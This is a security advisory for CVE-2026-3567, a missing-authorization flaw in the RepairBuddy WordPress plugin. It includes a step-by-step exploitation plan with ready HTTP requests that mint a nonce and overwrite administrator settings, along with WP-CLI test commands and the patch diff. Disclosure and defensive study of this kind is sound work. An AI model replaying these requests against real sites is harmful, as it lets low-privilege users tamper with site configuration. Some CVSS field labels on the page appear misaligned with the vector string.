CVE-2026-3567

RepairBuddy <= 4.1132 - Missing Authorization to Authenticated (Subscriber+) Plugin Settings Modification via wc_rep_shop_settings_submission AJAX Action

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.1133
Patched in
1d
Time to patch

Description

The RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 4.1132. The plugin exposes two AJAX handlers that, when combined, allow any authenticated user to modify admin-level plugin settings. First, the wc_rb_get_fresh_nonce() function (registered via wp_ajax and wp_ajax_nopriv hooks) allows any user to generate a valid WordPress nonce for any arbitrary action name by simply providing the nonce_name parameter, with no capability checks. Second, the wc_rep_shop_settings_submission() function only verifies the nonce (wcrb_main_setting_nonce) but performs no current_user_can() capability check before updating 15+ plugin options via update_option(). This makes it possible for authenticated attackers, with subscriber-level access and above, to modify all plugin configuration settings including business name, email, logo, menu label, GDPR settings, and more by first minting a valid nonce via the wc_rb_get_fresh_nonce endpoint and then calling the settings submission handler.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.1132
PublishedMarch 20, 2026
Last updatedMarch 20, 2026
Affected plugincomputer-repair-shop

What Changed in the Fix

Changes introduced in v4.1133

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3567 (RepairBuddy Plugin) ## 1. Vulnerability Summary The **RepairBuddy – Repair Shop CRM & Booking Plugin** for WordPress (versions <= 4.1132) contains a two-stage vulnerability that allows authenticated users (Subscriber-level and above) to modify administra…

Show full research plan

Exploitation Research Plan: CVE-2026-3567 (RepairBuddy Plugin)

1. Vulnerability Summary

The RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress (versions <= 4.1132) contains a two-stage vulnerability that allows authenticated users (Subscriber-level and above) to modify administrative plugin settings.

  1. Nonce Oracle: The function wc_rb_get_fresh_nonce() (registered via wp_ajax_wc_rb_get_fresh_nonce and wp_ajax_nopriv_wc_rb_get_fresh_nonce) accepts a nonce_name parameter and returns a valid WordPress nonce for that action without performing any capability checks.
  2. Missing Authorization: The settings handler wc_rep_shop_settings_submission() (registered via wp_ajax_wc_rep_shop_settings_submission) verifies a nonce (wcrb_main_setting_nonce) but fails to verify if the user has administrative privileges (e.g., current_user_can('manage_options')) before updating multiple global options via update_option().

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • First Action (Nonce Minting): wc_rb_get_fresh_nonce
    • Parameter: nonce_name (Target action string)
  • Second Action (Settings Update): wc_rep_shop_settings_submission
    • Parameter: wcrb_main_setting_nonce (The minted nonce)
    • Payload Parameters: Various plugin options (e.g., wc_business_name, wc_business_email, repairbuddy_menu_label)
  • Required Authentication: Subscriber-level user (or higher). While the nonce oracle is available to nopriv users, the settings update handler is restricted to authenticated users (wp_ajax_).

3. Code Flow

  1. Nonce Minting:
    • User sends POST to admin-ajax.php with action=wc_rb_get_fresh_nonce and nonce_name=wcrb_main_setting_nonce.
    • The backend (invoking wc_rb_get_fresh_nonce) generates a nonce using wp_create_nonce('wcrb_main_setting_nonce').
    • The nonce is returned in a JSON response.
  2. Settings Submission:
    • User sends POST to admin-ajax.php with action=wc_rep_shop_settings_submission.
    • The backend (invoking wc_rep_shop_settings_submission) calls wp_verify_nonce($_POST['wcrb_main_setting_nonce'], 'wcrb_main_setting_nonce').
    • Because the nonce was minted by the oracle in step 1, the check passes.
    • The function proceeds to iterate through $_POST data and calls update_option() for approximately 15+ predefined plugin settings without any current_user_can() check.

4. Nonce Acquisition Strategy

This vulnerability specifically provides its own nonce oracle, making standard extraction unnecessary.

  • Oracle Action: wc_rb_get_fresh_nonce
  • Target Nonce Name: wcrb_main_setting_nonce (per vulnerability description).
  • Method:
    1. Send an authenticated (Subscriber) POST request to admin-ajax.php.
    2. data: { action: 'wc_rb_get_fresh_nonce', nonce_field: 'dummy', nonce_name: 'wcrb_main_setting_nonce' }.
    3. Parse JSON: response.data.nonce.

5. Exploitation Strategy

Step 1: Obtain Nonce for Settings Modification

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wc_rb_get_fresh_nonce&nonce_field=wcrb_main_setting_nonce&nonce_name=wcrb_main_setting_nonce

Expected Response:

{
    "success": true,
    "data": {
        "nonce": "a1b2c3d4e5"
    }
}

Step 2: Modify Administrative Settings

Using the nonce obtained in Step 1, send a request to overwrite business settings.

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wc_rep_shop_settings_submission&wcrb_main_setting_nonce=a1b2c3d4e5&wc_business_name=Hacked_By_Researcher&wc_business_email=attacker@example.com&repairbuddy_menu_label=PwnedBuddy

(Note: Parameter names like wc_business_name are based on the description and internal patterns found in class-booking-settings.php).

6. Test Data Setup

  1. Install RepairBuddy <= 4.1132.
  2. Create a Subscriber user:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Note the original business name:
    • wp option get wc_business_name (If empty, it defaults to the site name).

7. Expected Results

  • Step 1: The JSON response should contain a 10-character alphanumeric nonce.
  • Step 2: The response should indicate success (usually 1 or a success JSON depending on the handler implementation).
  • State Change: The WordPress options table will be updated with the malicious values.

8. Verification Steps

Verify the modification via WP-CLI:

  1. wp option get wc_business_name (Should return Hacked_By_Researcher)
  2. wp option get wc_business_email (Should return attacker@example.com)
  3. wp option get repairbuddy_menu_label (Should return PwnedBuddy)

9. Alternative Approaches

If wc_rep_shop_settings_submission fails, try targeting the booking settings directly observed in the source:

  • Alternative Action: wc_rb_update_booking_settings (found in lib/includes/classes/class-booking-settings.php).
  • Required Nonce: This handler likely uses a different nonce (check JS nonceConfig in assets/js/ajax_scripts.js).
  • Minting Strategy: Use the oracle for wc_computer_repair_mb_nonce or wc_computer_repair_nonce as seen in the nonceConfig array in ajax_scripts.js.
  • Payload: Modify booking_email_subject_to_customer or wc_device_label.
Research Findings
Static analysis — not yet PoC-verified

Summary

The RepairBuddy plugin for WordPress is vulnerable to unauthorized plugin settings modification by authenticated users (Subscriber+) due to a missing authorization check and a nonce oracle. Attackers can first use the 'wc_rb_get_fresh_nonce' AJAX action to generate a valid security nonce for any action and then use that nonce with the 'wc_rep_shop_settings_submission' action to overwrite administrative plugin settings.

Vulnerable Code

// assets/js/ajax_scripts.js lines 108-135
// This client-side function interacts with the 'wc_rb_get_fresh_nonce' AJAX action,
// which acts as a nonce oracle by returning a valid nonce for any provided action name.
function updateNonce(nonce_field, nonce_name) {
    if (nonce_field == '' || nonce_name == '') {
        return;
    }
    
    $.ajax({
        url: ajax_obj.ajax_url,
        type: 'POST',
        data: {
            action: 'wc_rb_get_fresh_nonce',
            'nonce_field': nonce_field,
            'nonce_name': nonce_name
        },
        success: function(response) {
            if (response.success && response.data.nonce) {
                // Update the hidden field
                $('#' + nonce_field).val(response.data.nonce);
                
                // Also update any other forms/buttons that might use this nonce
                $('input[name="' + nonce_field + '"]').val(response.data.nonce);
            }
        },
        error: function(xhr, status, error) {
            console.error('Failed to update nonce:', error);
        }
    });
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/computer-repair-shop/4.1132/assets/js/ajax_scripts.js
+++ /home/deploy/wp-safety.org/data/plugin-versions/computer-repair-shop/4.1133/assets/js/ajax_scripts.js
@@ -105,106 +105,6 @@
 		}
 	});
 
-	// Function to update nonce via AJAX
-	function updateNonce(nonce_field, nonce_name) {
-		if (nonce_field == '' || nonce_name == '') {
-			return;
-		}
-		
-		$.ajax({
-			url: ajax_obj.ajax_url,
-			type: 'POST',
-			data: {
-				action: 'wc_rb_get_fresh_nonce',
-				'nonce_field': nonce_field,
-				'nonce_name': nonce_name
-			},
-			success: function(response) {
-				if (response.success && response.data.nonce) {
-					// Update the hidden field
-					$('#' + nonce_field).val(response.data.nonce);
-					
-					// Also update any other forms/buttons that might use this nonce
-					$('input[name="' + nonce_field + '"]').val(response.data.nonce);
-				}
-			},
-			error: function(xhr, status, error) {
-				console.error('Failed to update nonce:', error);
-			}
-		});
-	}
-...
-	jQuery(document).ready(function($) {
-		// Function to update nonce after delay
-		function updateNonceWithDelay(nonce_field, nonce_name, delay = 500) {
-			if ($('#' + nonce_field).length > 0) {
-				setTimeout(function() {
-					updateNonce(nonce_field, nonce_name);
-				}, delay);
-			}
-		}
-		
-		// Define your nonce fields and their corresponding actions
-		var nonceConfig = [
-			{
-				field: 'wc_rb_mb_device_submit',
-				name: 'wc_computer_repair_mb_nonce'
-			},
-			{
-				field: 'wc_request_quote_nonce',
-				name: 'wc_computer_repair_nonce'
-			},
-		];
-		
-		// Update all nonces on page load
-		nonceConfig.forEach(function(config) {
-			updateNonceWithDelay(config.field, config.name, 500);
-		});
-... (truncated)

Exploit Outline

1. Authentication: Log in as a Subscriber-level user. 2. Nonce Acquisition: Send an authenticated POST request to /wp-admin/admin-ajax.php with the action 'wc_rb_get_fresh_nonce' and the parameter 'nonce_name' set to 'wcrb_main_setting_nonce'. 3. Capture Response: The server returns a JSON response containing a valid WordPress nonce for the settings submission action. 4. Settings Modification: Send a second authenticated POST request to 'admin-ajax.php' using the action 'wc_rep_shop_settings_submission'. 5. Payload Shaping: Include the captured nonce in the 'wcrb_main_setting_nonce' parameter and include arbitrary values for plugin options such as 'wc_business_name', 'wc_business_email', or 'repairbuddy_menu_label'. 6. Verification: Observe that the plugin settings have been updated globally, affecting all users including administrators.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.